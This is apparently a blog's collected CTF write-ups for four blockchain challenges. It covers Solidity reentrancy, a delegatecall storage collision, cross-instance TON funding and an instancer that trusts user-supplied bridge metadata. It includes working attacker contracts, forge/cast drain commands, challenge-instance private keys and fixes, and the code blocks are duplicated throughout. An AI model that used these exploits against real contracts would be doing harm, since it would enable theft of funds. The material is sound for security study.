Welcome to my world!

Welcome to my world!

Cybersecurity enthusiast and smart contract auditor exploring blockchain, and AI.

Cybersecurity enthusiast and smart contract auditor exploring blockchain, and AI.

Brand Logo
Icon
1

SEKAI CTF 2026 — All Blockchain Writeups

18 min read

Overview

A consolidated technical writeup for every blockchain challenge from SEKAI CTF 2026: PP Farming, PP Farming 2, Open World, and Outer Stellar.

Code, commands, payloads, and fixes are separated into dedicated dark code blocks so readers can scan the exploit flow quickly.

Challenge index

01 — PP Farming: classic reentrancy through withdrawPP.

02 — PP Farming 2: fallback delegatecall storage collision to replace the helper.

03 — Open World: cross-instance TON funding breaks the economic isolation assumption.

04 — Outer Stellar: user-controlled bridge metadata lets the checker call a fake balance contract.

PP Farming

Complete exploit notes for PP Farming, including the vulnerability, execution flow, verification, and root-cause/fix.

• Category: blockchain

• Points: 500

• Author: brokenappendix

• Description: “I found a new way to PP farm, surely nothing could go wrong!”

TL;DR

PerformancePointATM.withdrawPP() sends ETH before resetting the caller’s balance — a textbook reentrancy (Checks-Effects-Interactions violation). Deposit some ETH, then re-enter withdrawPP() from the attacker’s receive() until the contract is drained. isSolved() returns true once the ATM balance hits 0.

The target

contract PerformancePointATM {
    mapping(address => uint256) public scores;

    constructor() payable {}

    function donatePP(address _to) public payable {
        scores[_to] = scores[_to] + msg.value;
    }

    function checkPP(address _who) public view returns (uint256 score) {
        return scores[_who];
    }

    function withdrawPP() public {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");
        (bool result, ) = msg.sender.call{value: score}("");  // <-- external call FIRST
        require(result, "Transfer failed");
        scores[msg.sender] = 0;                                // <-- state update AFTER
    }

    function isSolved() view public returns (bool) {
        return address(this).balance == 0;
    }

    receive() external payable {}
}
contract PerformancePointATM {
    mapping(address => uint256) public scores;

    constructor() payable {}

    function donatePP(address _to) public payable {
        scores[_to] = scores[_to] + msg.value;
    }

    function checkPP(address _who) public view returns (uint256 score) {
        return scores[_who];
    }

    function withdrawPP() public {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");
        (bool result, ) = msg.sender.call{value: score}("");  // <-- external call FIRST
        require(result, "Transfer failed");
        scores[msg.sender] = 0;                                // <-- state update AFTER
    }

    function isSolved() view public returns (bool) {
        return address(this).balance == 0;
    }

    receive() external payable {}
}
contract PerformancePointATM {
    mapping(address => uint256) public scores;

    constructor() payable {}

    function donatePP(address _to) public payable {
        scores[_to] = scores[_to] + msg.value;
    }

    function checkPP(address _who) public view returns (uint256 score) {
        return scores[_who];
    }

    function withdrawPP() public {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");
        (bool result, ) = msg.sender.call{value: score}("");  // <-- external call FIRST
        require(result, "Transfer failed");
        scores[msg.sender] = 0;                                // <-- state update AFTER
    }

    function isSolved() view public returns (bool) {
        return address(this).balance == 0;
    }

    receive() external payable {}
}

The contract is deployed with 10 ether (Deploy.s.sol):

PerformancePointATM atm = new PerformancePointATM{value: 10 ether}();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}();

The bug

In withdrawPP():

1. read score = scores[msg.sender]

2. send score ETH via .call — hands control to the attacker

3. then set scores[msg.sender] = 0

Because the balance is only zeroed in step 3, an attacker contract whose receive() calls withdrawPP() again (step 2) sees its score still set, so it can withdraw repeatedly within a single transaction before any reset happens.

Exploit math

Let chunk = the amount we deposit to ourselves via donatePP.

• ATM balance after deposit: 10 ether + chunk

• Each (re-entrant) withdrawPP() sends exactly chunk

• We re-enter while atm.balance >= chunk

Picking chunk = 10 ether drains it in just 2 sends (depth-2 reentrancy): 20 ether -> 10 ether -> 0. (Any chunk that divides 10 ether drains it exactly; smaller chunk = deeper recursion.)

Exploit contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract Attacker {
    IATM public atm;
    uint256 public chunk;
    address public owner;

    constructor(address _atm) payable {
        atm = IATM(_atm);
        owner = msg.sender;
    }

    function attack() external payable {
        chunk = msg.value;
        atm.donatePP{value: msg.value}(address(this)); // give ourselves a balance
        atm.withdrawPP();                              // kick off the drain
        (bool s,) = owner.call{value: address(this).balance}(""); // exfil loot
        require(s, "payout failed");
    }

    receive() external payable {
        if (chunk > 0 && address(atm).balance >= chunk) {
            atm.withdrawPP();                          // re-enter before reset
        }
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract Attacker {
    IATM public atm;
    uint256 public chunk;
    address public owner;

    constructor(address _atm) payable {
        atm = IATM(_atm);
        owner = msg.sender;
    }

    function attack() external payable {
        chunk = msg.value;
        atm.donatePP{value: msg.value}(address(this)); // give ourselves a balance
        atm.withdrawPP();                              // kick off the drain
        (bool s,) = owner.call{value: address(this).balance}(""); // exfil loot
        require(s, "payout failed");
    }

    receive() external payable {
        if (chunk > 0 && address(atm).balance >= chunk) {
            atm.withdrawPP();                          // re-enter before reset
        }
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract Attacker {
    IATM public atm;
    uint256 public chunk;
    address public owner;

    constructor(address _atm) payable {
        atm = IATM(_atm);
        owner = msg.sender;
    }

    function attack() external payable {
        chunk = msg.value;
        atm.donatePP{value: msg.value}(address(this)); // give ourselves a balance
        atm.withdrawPP();                              // kick off the drain
        (bool s,) = owner.call{value: address(this).balance}(""); // exfil loot
        require(s, "payout failed");
    }

    receive() external payable {
        if (chunk > 0 && address(atm).balance >= chunk) {
            atm.withdrawPP();                          // re-enter before reset
        }
    }
}

Running it

Instance details (from the instancer):

RPC  : https://eth.chals.sekai.team/<token>/main
Key  : 4e8c545750d91d31a2c70edc4f749a9378d27edea6c255e494d9cf33754d467e
ATM  : 0x17657eD10e4489fee18768B572C7D2229Df1B72d   (chain id 31337

RPC  : https://eth.chals.sekai.team/<token>/main
Key  : 4e8c545750d91d31a2c70edc4f749a9378d27edea6c255e494d9cf33754d467e
ATM  : 0x17657eD10e4489fee18768B572C7D2229Df1B72d   (chain id 31337

RPC  : https://eth.chals.sekai.team/<token>/main
Key  : 4e8c545750d91d31a2c70edc4f749a9378d27edea6c255e494d9cf33754d467e
ATM  : 0x17657eD10e4489fee18768B572C7D2229Df1B72d   (chain id 31337

RPC="https://eth.chals.sekai.team/<token>/main"
PK="4e8c...d467e"
TARGET="0x17657eD10e4489fee18768B572C7D2229Df1B72d"

# 1. deploy attacker
forge create src/Attacker.sol:Attacker \
  --rpc-url $RPC --private-key $PK --broadcast \
  --constructor-args $TARGET

# 2. drain (deposit 10 ether, reenter to zero the ATM)
cast send $ATTACKER 'attack()' --value 10ether \
  --rpc-url $RPC --private-key $PK

# 3. verify
cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC   # -> true
cast balance $TARGET --rpc-url $RPC                   # -> 0
RPC="https://eth.chals.sekai.team/<token>/main"
PK="4e8c...d467e"
TARGET="0x17657eD10e4489fee18768B572C7D2229Df1B72d"

# 1. deploy attacker
forge create src/Attacker.sol:Attacker \
  --rpc-url $RPC --private-key $PK --broadcast \
  --constructor-args $TARGET

# 2. drain (deposit 10 ether, reenter to zero the ATM)
cast send $ATTACKER 'attack()' --value 10ether \
  --rpc-url $RPC --private-key $PK

# 3. verify
cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC   # -> true
cast balance $TARGET --rpc-url $RPC                   # -> 0
RPC="https://eth.chals.sekai.team/<token>/main"
PK="4e8c...d467e"
TARGET="0x17657eD10e4489fee18768B572C7D2229Df1B72d"

# 1. deploy attacker
forge create src/Attacker.sol:Attacker \
  --rpc-url $RPC --private-key $PK --broadcast \
  --constructor-args $TARGET

# 2. drain (deposit 10 ether, reenter to zero the ATM)
cast send $ATTACKER 'attack()' --value 10ether \
  --rpc-url $RPC --private-key $PK

# 3. verify
cast call $TARGET 'isSolved()(bool)' --rpc-url $RPC   # -> true
cast balance $TARGET --rpc-url $RPC                   # -> 0

Result:

target balance: 0
isSolved: true
target balance: 0
isSolved: true
target balance: 0
isSolved: true

Then hit “Get flag” on the instancer.

Root cause / fix

Follow Checks-Effects-Interactions: zero the balance before the external call, and/or add a reentrancy guard.

function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    scores[msg.sender] = 0;                          // effects first
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
}
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    scores[msg.sender] = 0;                          // effects first
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
}
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    scores[msg.sender] = 0;                          // effects first
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
}

Flag

PP Farming 2

Complete exploit notes for PP Farming 2, including the vulnerability, execution flow, verification, and root-cause/fix.

Challenge Summary

PerformancePointATM is deployed with 10 ETH. The goal is to make:

function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}
function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}

The contract lets users donate PP to an address, then withdraw their recorded score:

function donatePP(address _to) public payable {
    scores[_to] = scores[_to] + msg.value;
}

function withdrawPP() public noReentrancy {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");

    (bool success, ) = performancePointHelper.delegatecall(
        abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
    );

    require(success, "Transfer failed");
    scores[msg.sender] = 0;
}
function donatePP(address _to) public payable {
    scores[_to] = scores[_to] + msg.value;
}

function withdrawPP() public noReentrancy {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");

    (bool success, ) = performancePointHelper.delegatecall(
        abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
    );

    require(success, "Transfer failed");
    scores[msg.sender] = 0;
}
function donatePP(address _to) public payable {
    scores[_to] = scores[_to] + msg.value;
}

function withdrawPP() public noReentrancy {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");

    (bool success, ) = performancePointHelper.delegatecall(
        abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
    );

    require(success, "Transfer failed");
    scores[msg.sender] = 0;
}

At first glance, the old reentrancy issue is fixed by the noReentrancy modifier. The real bug is in the fallback proxy.

Vulnerability

The fallback forwards almost every unknown function selector to performancePointHelper using delegatecall:

fallback() external payable {
    address _impl = performancePointHelper;

    bytes4 selector = msg.sig;

    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
    require(selector != initSelector, "processWithdrawal blocked");

    assembly {
        let ptr := mload(0x40)
        calldatacopy(ptr, 0, calldatasize())

        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
        returndatacopy(ptr, 0, returndatasize())

        if iszero(success) {
            revert(ptr, returndatasize())
        }
        return(ptr, returndatasize())
    }
}
fallback() external payable {
    address _impl = performancePointHelper;

    bytes4 selector = msg.sig;

    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
    require(selector != initSelector, "processWithdrawal blocked");

    assembly {
        let ptr := mload(0x40)
        calldatacopy(ptr, 0, calldatasize())

        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
        returndatacopy(ptr, 0, returndatasize())

        if iszero(success) {
            revert(ptr, returndatasize())
        }
        return(ptr, returndatasize())
    }
}
fallback() external payable {
    address _impl = performancePointHelper;

    bytes4 selector = msg.sig;

    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
    require(selector != initSelector, "processWithdrawal blocked");

    assembly {
        let ptr := mload(0x40)
        calldatacopy(ptr, 0, calldatasize())

        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
        returndatacopy(ptr, 0, returndatasize())

        if iszero(success) {
            revert(ptr, returndatasize())
        }
        return(ptr, returndatasize())
    }
}

It blocks direct calls to processWithdrawal(address,uint256), but it does not block the helper’s other functions.

The helper exposes:

function setATM(address _atm) public {
    atm = _atm;
}
function setATM(address _atm) public {
    atm = _atm;
}
function setATM(address _atm) public {
    atm = _atm;
}

Because this function is reached through delegatecall, it writes to the ATM’s storage, not the helper’s storage.

The storage layouts overlap:

// PerformancePointATM
mapping(address => uint256) public scores; // slot 0
address public performancePointHelper;     // slot 1
bool public locked;                        // slot 2

// PerformancePointHelper
uint256 id_number; // slot 0
address public atm; // slot 1
bool public helping; // slot 2
// PerformancePointATM
mapping(address => uint256) public scores; // slot 0
address public performancePointHelper;     // slot 1
bool public locked;                        // slot 2

// PerformancePointHelper
uint256 id_number; // slot 0
address public atm; // slot 1
bool public helping; // slot 2
// PerformancePointATM
mapping(address => uint256) public scores; // slot 0
address public performancePointHelper;     // slot 1
bool public locked;                        // slot 2

// PerformancePointHelper
uint256 id_number; // slot 0
address public atm; // slot 1
bool public helping; // slot 2

So calling setATM(address) on the ATM actually overwrites PerformancePointATM.performancePointHelper.

This lets us replace the helper implementation with an attacker-controlled contract.

Exploit

Deploy a malicious helper with the expected processWithdrawal(address,uint256) selector:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ExploitHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool ok, ) = recipient.call{value: address(this).balance}("");
        return ok;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ExploitHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool ok, ) = recipient.call{value: address(this).balance}("");
        return ok;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract ExploitHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool ok, ) = recipient.call{value: address(this).balance}("");
        return ok;
    }
}

When withdrawPP() delegatecalls this function, address(this) is still the ATM. Therefore, the malicious helper transfers the ATM’s entire balance to the player.

Exploit sequence:

RPC='https://eth.chals.sekai.team/XITqHaNUMCoWrXXrsoSxHbta/main'
PK='7f7d839e1a51577f3f493bb17b4902df6a7d3fc199289f5298ac9f7c54bcdb60'
ATM='0x3c6E6C459a707686910609b9bf399837e4472F7a'
PLAYER='0xfdff7b455240187dA2Ec8eB8Cf553d1002b656c8'
EVIL='0x8CcA7CE27089DCFe23919C58eeF6D5F67331546e'
RPC='https://eth.chals.sekai.team/XITqHaNUMCoWrXXrsoSxHbta/main'
PK='7f7d839e1a51577f3f493bb17b4902df6a7d3fc199289f5298ac9f7c54bcdb60'
ATM='0x3c6E6C459a707686910609b9bf399837e4472F7a'
PLAYER='0xfdff7b455240187dA2Ec8eB8Cf553d1002b656c8'
EVIL='0x8CcA7CE27089DCFe23919C58eeF6D5F67331546e'
RPC='https://eth.chals.sekai.team/XITqHaNUMCoWrXXrsoSxHbta/main'
PK='7f7d839e1a51577f3f493bb17b4902df6a7d3fc199289f5298ac9f7c54bcdb60'
ATM='0x3c6E6C459a707686910609b9bf399837e4472F7a'
PLAYER='0xfdff7b455240187dA2Ec8eB8Cf553d1002b656c8'
EVIL='0x8CcA7CE27089DCFe23919C58eeF6D5F67331546e'

Deploy the malicious helper:

forge create blockchain_pp-farming-2/ExploitHelper.sol:ExploitHelper \
  --broadcast \
  --rpc-url "$RPC" \
  --private-key "$PK"
forge create blockchain_pp-farming-2/ExploitHelper.sol:ExploitHelper \
  --broadcast \
  --rpc-url "$RPC" \
  --private-key "$PK"
forge create blockchain_pp-farming-2/ExploitHelper.sol:ExploitHelper \
  --broadcast \
  --rpc-url "$RPC" \
  --private-key "$PK"

Create a nonzero PP score:

cast send "$ATM" 'donatePP(address)' "$PLAYER" \
  --value 1wei \
  --rpc-url "$RPC" \
  --private-key "$PK"
cast send "$ATM" 'donatePP(address)' "$PLAYER" \
  --value 1wei \
  --rpc-url "$RPC" \
  --private-key "$PK"
cast send "$ATM" 'donatePP(address)' "$PLAYER" \
  --value 1wei \
  --rpc-url "$RPC" \
  --private-key "$PK"

Overwrite performancePointHelper through the fallback proxy:

cast send "$ATM" 'setATM(address)' "$EVIL" \
  --rpc-url "$RPC" \
  --private-key "$PK"
cast send "$ATM" 'setATM(address)' "$EVIL" \
  --rpc-url "$RPC" \
  --private-key "$PK"
cast send "$ATM" 'setATM(address)' "$EVIL" \
  --rpc-url "$RPC" \
  --private-key "$PK"

Drain the ATM:

cast send "$ATM" 'withdrawPP()' \
  --rpc-url "$RPC" \
  --private-key "$PK"
cast send "$ATM" 'withdrawPP()' \
  --rpc-url "$RPC" \
  --private-key "$PK"
cast send "$ATM" 'withdrawPP()' \
  --rpc-url "$RPC" \
  --private-key "$PK"

Verification

cast call "$ATM" 'isSolved()(bool)' --rpc-url "$RPC"
# true

cast balance "$ATM" --rpc-url "$RPC"
# 0
cast call "$ATM" 'isSolved()(bool)' --rpc-url "$RPC"
# true

cast balance "$ATM" --rpc-url "$RPC"
# 0
cast call "$ATM" 'isSolved()(bool)' --rpc-url "$RPC"
# true

cast balance "$ATM" --rpc-url "$RPC"
# 0

Flag

Root Cause

The ATM contract used delegatecall as a proxy mechanism without protecting helper functions that mutate storage. Although direct calls to processWithdrawal(address,uint256) were blocked, setATM(address) remained reachable through fallback. Since helper slot 1 overlaps with ATM slot 1, this allowed replacing performancePointHelper and then draining the contract through withdrawPP().

Open World

Complete exploit notes for Open World, including the vulnerability, execution flow, verification, and root-cause/fix.

Challenge

Open World is a TON blockchain challenge. The instancer gives us:

• a fresh challenge contract address

• a player wallet seed and wallet id

• an API v2 endpoint for the local TON chain

The flag is returned only when the challenge contract getter isSolved() returns true.

Flag:

Contract Overview

The important contracts are:

• Challenge.tolk

• JettonMinter.tolk

• JettonWallet.tolk

On deployment, Challenge deploys a Jetton minter and asks the minter for the challenge contract’s own Jetton wallet address.

The challenge has three relevant user actions:

• PlayerBonus: mint free jettons to the message sender.

• Buy: mint jettons to the buyer for 2 TON per jetton.

• Solve: accepted as a forward payload when transferring jettons to the challenge Jetton wallet.

The solve condition is:

if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
    if (msg.jettonAmount >= FLAG_PRICE) {
        storage.isSolved = true

if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
    if (msg.jettonAmount >= FLAG_PRICE) {
        storage.isSolved = true

if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
    if (msg.jettonAmount >= FLAG_PRICE) {
        storage.isSolved = true

FLAG_PRICE is 100, so the player wallet must transfer at least 100 challenge jettons to the challenge’s jetton wallet with a Solve payload.

First Observations

The player starts with only 1 TON.

The intended path inside one instance looks impossible:

• PlayerBonus gives 50 jettons.

• Solve needs 100 jettons.

• Buying the missing 50 costs 100 TON.

• The player starts with nowhere near enough TON.

Selling the 50 bonus jettons gives about 100 TON back, but then the player has 0 jettons. Buying 50 again just returns us to 50 jettons. So a single isolated instance cannot solve the challenge through the normal market actions.

I also checked a few possible TON-specific bugs:

• fake bounced messages to the Jetton wallet

• Jetton wallet bounce accounting

• action-phase failure around RAWRESERVE

• oversized forward payloads

• the remainingPlayerBonus: 2n deployment value

Those were either rejected by the wallet / chain, or did not produce extra jettons. The important clue was the challenge name and description:




Vulnerability

The bug is environmental: instances are not economically isolated.

Every new instancer session creates a new player wallet and a new challenge contract, but all sessions live on the same local TON chain.

That means TON coins are transferable between sessions.

Jettons are per-challenge, so sponsor-session jettons cannot solve the target challenge directly. But sponsor-session TON can be transferred to the target player’s wallet.

So we can use one instance as a funding source:

1. Create target session.

2. Create sponsor session.

3. In the sponsor session, claim 50 free jettons.

4. Sell those 50 sponsor jettons to the sponsor challenge for about 100 TON.

5. Transfer that TON from the sponsor player wallet to the target player wallet.

6. In the target session, claim the 50 free target jettons.

7. Buy the missing 50 target jettons using the transferred TON.

8. Transfer 100 target jettons to the target challenge wallet with Solve as forward payload.

This works because the flag check only verifies that the target challenge is solved. It does not require the target wallet’s TON funding to originate inside the target session.

Exploit Flow

Create two instances using the nc service:

ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337

For each instance, save:

• uuid

• challenge contract

• api v2

• wallet id

• seed

Use the target instance API endpoint for the solver. The API proxies to the same shared chain, so it can see both the target and sponsor contracts.

Run:

npx ts-node solve.ts \
  --endpoint <target-api-v2-url> \
  --target-challenge <target-challenge-address> \
  --target-seed <target-seed> \
  --target-wallet-id <target-wallet-id> \
  --sponsor-challenge <sponsor-challenge-address> \
  --sponsor-seed <sponsor-seed> \
  --sponsor-wallet-id

npx ts-node solve.ts \
  --endpoint <target-api-v2-url> \
  --target-challenge <target-challenge-address> \
  --target-seed <target-seed> \
  --target-wallet-id <target-wallet-id> \
  --sponsor-challenge <sponsor-challenge-address> \
  --sponsor-seed <sponsor-seed> \
  --sponsor-wallet-id

npx ts-node solve.ts \
  --endpoint <target-api-v2-url> \
  --target-challenge <target-challenge-address> \
  --target-seed <target-seed> \
  --target-wallet-id <target-wallet-id> \
  --sponsor-challenge <sponsor-challenge-address> \
  --sponsor-seed <sponsor-seed> \
  --sponsor-wallet-id

The solver performs:

target:  PlayerBonus -> 50 target jettons
sponsor: PlayerBonus -> 50 sponsor jettons
sponsor: transfer 50 sponsor jettons to sponsor challenge with Sell payload
sponsor: receive about 100 TON
sponsor: send 99.9 TON to target wallet
target:  Buy 50 target jettons
target:  transfer 100

target:  PlayerBonus -> 50 target jettons
sponsor: PlayerBonus -> 50 sponsor jettons
sponsor: transfer 50 sponsor jettons to sponsor challenge with Sell payload
sponsor: receive about 100 TON
sponsor: send 99.9 TON to target wallet
target:  Buy 50 target jettons
target:  transfer 100

target:  PlayerBonus -> 50 target jettons
sponsor: PlayerBonus -> 50 sponsor jettons
sponsor: transfer 50 sponsor jettons to sponsor challenge with Sell payload
sponsor: receive about 100 TON
sponsor: send 99.9 TON to target wallet
target:  Buy 50 target jettons
target:  transfer 100

After isSolved: true, claim the flag:

ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337

Choose flag and enter the target UUID.

Why This Works

The challenge tries to make the player economically constrained inside one market:

const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100
const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100
const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100

But the actual world is shared. A second session can extract TON from its own challenge by selling the free jettons:

Sell => {
    if (msg.transferInitiator != null && msg.jettonAmount > 0) {
        val payoutMsg = createMessage({
            bounce: false

Sell => {
    if (msg.transferInitiator != null && msg.jettonAmount > 0) {
        val payoutMsg = createMessage({
            bounce: false

Sell => {
    if (msg.transferInitiator != null && msg.jettonAmount > 0) {
        val payoutMsg = createMessage({
            bounce: false

That TON is native chain currency and can be sent to the target wallet. The target player can then legitimately buy the missing target jettons and solve.

References

• TON message modes and transaction fees: https://docs.ton.org/v3/documentation/smart-contracts/message-management/message-modes-cookbook

• TON Jetton processing overview: https://docs.ton.org/v3/guidelines/dapps/asset-processing/jettons

• Tolk lazy loading notes: https://docs.ton.org/v3/documentation/smart-contracts/tolk/tolk-vs-func/pack-to-from-cells#lazy-loading

Outer Stellar

Complete exploit notes for Outer Stellar, including the vulnerability, execution flow, verification, and root-cause/fix.

Challenge: Outer Stellar Category: Blockchain Chains: Stellar / Soroban + Sui Move Flag: SEKAI{super-duper-stellar-master-3a9bb1}

TL;DR

The intended fast solve was not a deep bridge-accounting bug. The critical issue is in the instancer API.

The /new endpoint lets the user provide a custom bridge object:

{
  "auto_bridge": false,
  "honest_player": false,
  "bridge": {
    "stellar_contract_id": "...",
    "sui_package_id": "0x1",
    "sui_bridge_object_id": "0x2"
  }
}
{
  "auto_bridge": false,
  "honest_player": false,
  "bridge": {
    "stellar_contract_id": "...",
    "sui_package_id": "0x1",
    "sui_bridge_object_id": "0x2"
  }
}
{
  "auto_bridge": false,
  "honest_player": false,
  "bridge": {
    "stellar_contract_id": "...",
    "sui_package_id": "0x1",
    "sui_bridge_object_id": "0x2"
  }
}

If bridge is a dictionary, the server writes those values directly into deploy_info.json and starts the relayer without validating that the bridge was actually deployed by the challenge.

The /flag endpoint later checks the player’s Stellar balance by invoking:

stellar contract invoke \
  --id <bridge["stellar_contract_id"]> \
  -- balance \
  --owner

stellar contract invoke \
  --id <bridge["stellar_contract_id"]> \
  -- balance \
  --owner

stellar contract invoke \
  --id <bridge["stellar_contract_id"]> \
  -- balance \
  --owner

So we can register any Soroban contract as the Stellar bridge, as long as it exposes:

balance(owner: Address) ->
balance(owner: Address) ->
balance(owner: Address) ->

Deploy a fake contract whose balance always returns 1000, register its deterministic contract ID as the bridge, then call /flag.

Vulnerable Code

File: instancer/outerstellar_sandbox/server.py

The relevant path is launch_integrated_instance.

When bridge is a dict, the code trusts user-controlled bridge metadata:

if isinstance(bridge_config, dict):
    register_bridge_config(instance_id, stellar_info, sui_info, bridge_config)
if isinstance(bridge_config, dict):
    register_bridge_config(instance_id, stellar_info, sui_info, bridge_config)
if isinstance(bridge_config, dict):
    register_bridge_config(instance_id, stellar_info, sui_info, bridge_config)

register_bridge_config only checks that these fields exist:

required = ["stellar_contract_id", "sui_package_id", "sui_bridge_object_id"]
required = ["stellar_contract_id", "sui_package_id", "sui_bridge_object_id"]
required = ["stellar_contract_id", "sui_package_id", "sui_bridge_object_id"]

It does not verify:

• that stellar_contract_id is a real challenge bridge,

• that sui_package_id is a real challenge package,

• that the Stellar and Sui bridge objects are related,

• that the contract was deployed by the instancer,

• or that the contract implements the real bridge logic.

The flag check then trusts this same metadata.

File: instancer/outerstellar_sandbox/server.py

def has_solved(instance_id: str) -> bool:
    info = read_deploy_info(instance_id)
    stellar = info["stellar"]
    bridge = info["bridge"]
    player = info["player"]

    balance = stellar_sekai_balance(stellar, bridge, player["public"])
    return balance >= OUTERSTELLAR_FLAG_STELLAR_BALANCE_TARGET
def has_solved(instance_id: str) -> bool:
    info = read_deploy_info(instance_id)
    stellar = info["stellar"]
    bridge = info["bridge"]
    player = info["player"]

    balance = stellar_sekai_balance(stellar, bridge, player["public"])
    return balance >= OUTERSTELLAR_FLAG_STELLAR_BALANCE_TARGET
def has_solved(instance_id: str) -> bool:
    info = read_deploy_info(instance_id)
    stellar = info["stellar"]
    bridge = info["bridge"]
    player = info["player"]

    balance = stellar_sekai_balance(stellar, bridge, player["public"])
    return balance >= OUTERSTELLAR_FLAG_STELLAR_BALANCE_TARGET

File: instancer/outerstellar_sandbox/stellar.py

def stellar_sekai_balance(stellar: Dict[str, Any], bridge: Dict[str, Any], owner: str) -> int:
    out = run([
        "stellar", "contract", "invoke",
        "--id", bridge["stellar_contract_id"],
        "--",
        "balance",
        "--owner", owner,
    ])
def stellar_sekai_balance(stellar: Dict[str, Any], bridge: Dict[str, Any], owner: str) -> int:
    out = run([
        "stellar", "contract", "invoke",
        "--id", bridge["stellar_contract_id"],
        "--",
        "balance",
        "--owner", owner,
    ])
def stellar_sekai_balance(stellar: Dict[str, Any], bridge: Dict[str, Any], owner: str) -> int:
    out = run([
        "stellar", "contract", "invoke",
        "--id", bridge["stellar_contract_id"],
        "--",
        "balance",
        "--owner", owner,
    ])

The balance target is 250, but the checker does not know whether it is talking to the real bridge contract.

Fake Soroban Contract

Create a tiny contract that matches only the method signature needed by /flag.

contracts/fake-balance/Cargo.toml:

[package]
name = "fake-balance"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
soroban-sdk = { workspace = true }

[dev_dependencies]
soroban-sdk = { workspace = true, features = ["testutils"

[package]
name = "fake-balance"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
soroban-sdk = { workspace = true }

[dev_dependencies]
soroban-sdk = { workspace = true, features = ["testutils"

[package]
name = "fake-balance"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib"]

[dependencies]
soroban-sdk = { workspace = true }

[dev_dependencies]
soroban-sdk = { workspace = true, features = ["testutils"

contracts/fake-balance/src/lib.rs:

#![no_std]

use soroban_sdk::{contract, contractimpl, Address, Env};

#[contract]
pub struct FakeBalance;

#[contractimpl]
impl FakeBalance {
    pub fn balance(_env: Env, _owner: Address) -> i128 {
        1000
    }
}
#![no_std]

use soroban_sdk::{contract, contractimpl, Address, Env};

#[contract]
pub struct FakeBalance;

#[contractimpl]
impl FakeBalance {
    pub fn balance(_env: Env, _owner: Address) -> i128 {
        1000
    }
}
#![no_std]

use soroban_sdk::{contract, contractimpl, Address, Env};

#[contract]
pub struct FakeBalance;

#[contractimpl]
impl FakeBalance {
    pub fn balance(_env: Env, _owner: Address) -> i128 {
        1000
    }
}

Build it:

cargo build --release --target wasm32v1-none -p
cargo build --release --target wasm32v1-none -p
cargo build --release --target wasm32v1-none -p

The resulting wasm is:

Deterministic Contract ID

The instancer needs to know the Stellar contract ID before the fake contract is deployed, because /new writes the bridge config first.

The challenge code includes the standalone Stellar root secret in stellar.py:

Pick a fixed salt:

0000000000000000000000000000000000000000000000000000000000000420
0000000000000000000000000000000000000000000000000000000000000420
0000000000000000000000000000000000000000000000000000000000000420

Compute the future contract ID locally:

